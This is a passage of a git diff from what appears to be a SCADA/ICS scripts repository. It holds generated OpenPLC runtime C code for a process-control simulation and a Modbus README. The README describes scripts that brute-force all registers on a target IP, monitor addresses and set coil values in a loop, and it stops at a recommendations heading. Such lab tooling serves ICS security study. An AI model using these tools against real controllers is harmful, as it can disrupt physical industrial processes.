+{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- 